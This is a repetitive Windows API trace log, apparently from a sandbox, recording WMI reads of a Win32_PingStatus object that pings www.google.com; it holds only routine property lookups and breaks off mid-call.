[0138.678] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0138.678] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.678] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.678] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0138.679] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.679] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.679] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.679] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.679] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.679] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.679] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.679] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.679] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.679] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.679] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.679] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.679] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.679] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.679] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.679] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.679] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.679] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.679] SysStringByteLen (bstr="__PATH") returned 0xc [0138.679] SysStringByteLen (bstr="__PATH") returned 0xc [0138.680] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24595bc*=0, plFlavor=0x24595c0*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24595bc*=3, plFlavor=0x24595c0*=64) returned 0x0 [0138.680] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24595f0*=0, plFlavor=0x24595f4*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24595f0*=8, plFlavor=0x24595f4*=64) returned 0x0 [0138.680] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.680] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.680] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459648*=0, plFlavor=0x245964c*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459648*=8, plFlavor=0x245964c*=64) returned 0x0 [0138.680] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459670*=0, plFlavor=0x2459674*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2459670*=8, plFlavor=0x2459674*=64) returned 0x0 [0138.680] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.680] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.680] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24596c8*=0, plFlavor=0x24596cc*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24596c8*=8, plFlavor=0x24596cc*=64) returned 0x0 [0138.681] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.681] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.681] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24598a4*=0, plFlavor=0x24598a8*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24598a4*=3, plFlavor=0x24598a8*=64) returned 0x0 [0138.681] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24598d8*=0, plFlavor=0x24598dc*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24598d8*=8200, plFlavor=0x24598dc*=64) returned 0x0 [0138.681] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245990c*=0, plFlavor=0x2459910*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245990c*=8, plFlavor=0x2459910*=64) returned 0x0 [0138.681] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.681] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.681] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459958*=0, plFlavor=0x245995c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2459958*=8, plFlavor=0x245995c*=64) returned 0x0 [0138.682] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.682] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.682] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24599a4*=0, plFlavor=0x24599a8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24599a4*=8, plFlavor=0x24599a8*=64) returned 0x0 [0138.682] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.682] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.682] IWbemClassObject:Get (in: This=0x507f00, wszName="BufferSize", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459bdc*=0, plFlavor=0x2459be0*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2459bdc*=19, plFlavor=0x2459be0*=0) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.682] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.683] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.683] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0138.683] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.683] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.683] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0138.683] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.683] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.683] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.683] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.683] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.683] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.683] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.683] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.683] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.683] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.683] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.683] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.684] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.684] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.684] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.684] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.684] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.684] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.684] SysStringByteLen (bstr="__PATH") returned 0xc [0138.684] SysStringByteLen (bstr="__PATH") returned 0xc [0138.684] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459f90*=0, plFlavor=0x2459f94*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2459f90*=3, plFlavor=0x2459f94*=64) returned 0x0 [0138.684] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2459fc4*=0, plFlavor=0x2459fc8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2459fc4*=8, plFlavor=0x2459fc8*=64) returned 0x0 [0138.684] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.684] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.684] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a01c*=0, plFlavor=0x245a020*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a01c*=8, plFlavor=0x245a020*=64) returned 0x0 [0138.685] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a044*=0, plFlavor=0x245a048*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245a044*=8, plFlavor=0x245a048*=64) returned 0x0 [0138.685] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.685] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.685] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a09c*=0, plFlavor=0x245a0a0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245a09c*=8, plFlavor=0x245a0a0*=64) returned 0x0 [0138.685] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.685] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.685] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a278*=0, plFlavor=0x245a27c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245a278*=3, plFlavor=0x245a27c*=64) returned 0x0 [0138.685] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a2ac*=0, plFlavor=0x245a2b0*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245a2ac*=8200, plFlavor=0x245a2b0*=64) returned 0x0 [0138.686] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a2e0*=0, plFlavor=0x245a2e4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245a2e0*=8, plFlavor=0x245a2e4*=64) returned 0x0 [0138.686] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.686] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.686] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a32c*=0, plFlavor=0x245a330*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245a32c*=8, plFlavor=0x245a330*=64) returned 0x0 [0138.686] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.686] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.686] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a378*=0, plFlavor=0x245a37c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245a378*=8, plFlavor=0x245a37c*=64) returned 0x0 [0138.686] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.686] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.686] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0138.686] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0138.686] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.687] IWbemClassObject:Get (in: This=0x507f00, wszName="BufferSize", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a5bc*=0, plFlavor=0x245a5c0*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x245a5bc*=19, plFlavor=0x245a5c0*=0) returned 0x0 [0138.687] IWbemClassObject:Get (in: This=0x507f00, wszName="BufferSize", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245a5bc*=19, plFlavor=0x245a5c0*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x245a5bc*=19, plFlavor=0x245a5c0*=0) returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.687] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.687] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0138.687] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.687] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.687] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0138.688] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.688] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.688] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.688] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.688] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.688] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.688] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.688] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.688] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.688] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.688] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.688] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.688] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.688] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.688] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.688] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.688] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.688] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.688] SysStringByteLen (bstr="__PATH") returned 0xc [0138.688] SysStringByteLen (bstr="__PATH") returned 0xc [0138.688] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245aae8*=0, plFlavor=0x245aaec*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245aae8*=3, plFlavor=0x245aaec*=64) returned 0x0 [0138.689] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ab1c*=0, plFlavor=0x245ab20*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245ab1c*=8, plFlavor=0x245ab20*=64) returned 0x0 [0138.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.689] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ab74*=0, plFlavor=0x245ab78*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ab74*=8, plFlavor=0x245ab78*=64) returned 0x0 [0138.689] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ab9c*=0, plFlavor=0x245aba0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245ab9c*=8, plFlavor=0x245aba0*=64) returned 0x0 [0138.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.689] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.689] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245abf4*=0, plFlavor=0x245abf8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245abf4*=8, plFlavor=0x245abf8*=64) returned 0x0 [0138.689] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.689] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.689] IWbemClassObject:Get (in: This=0x507f00, 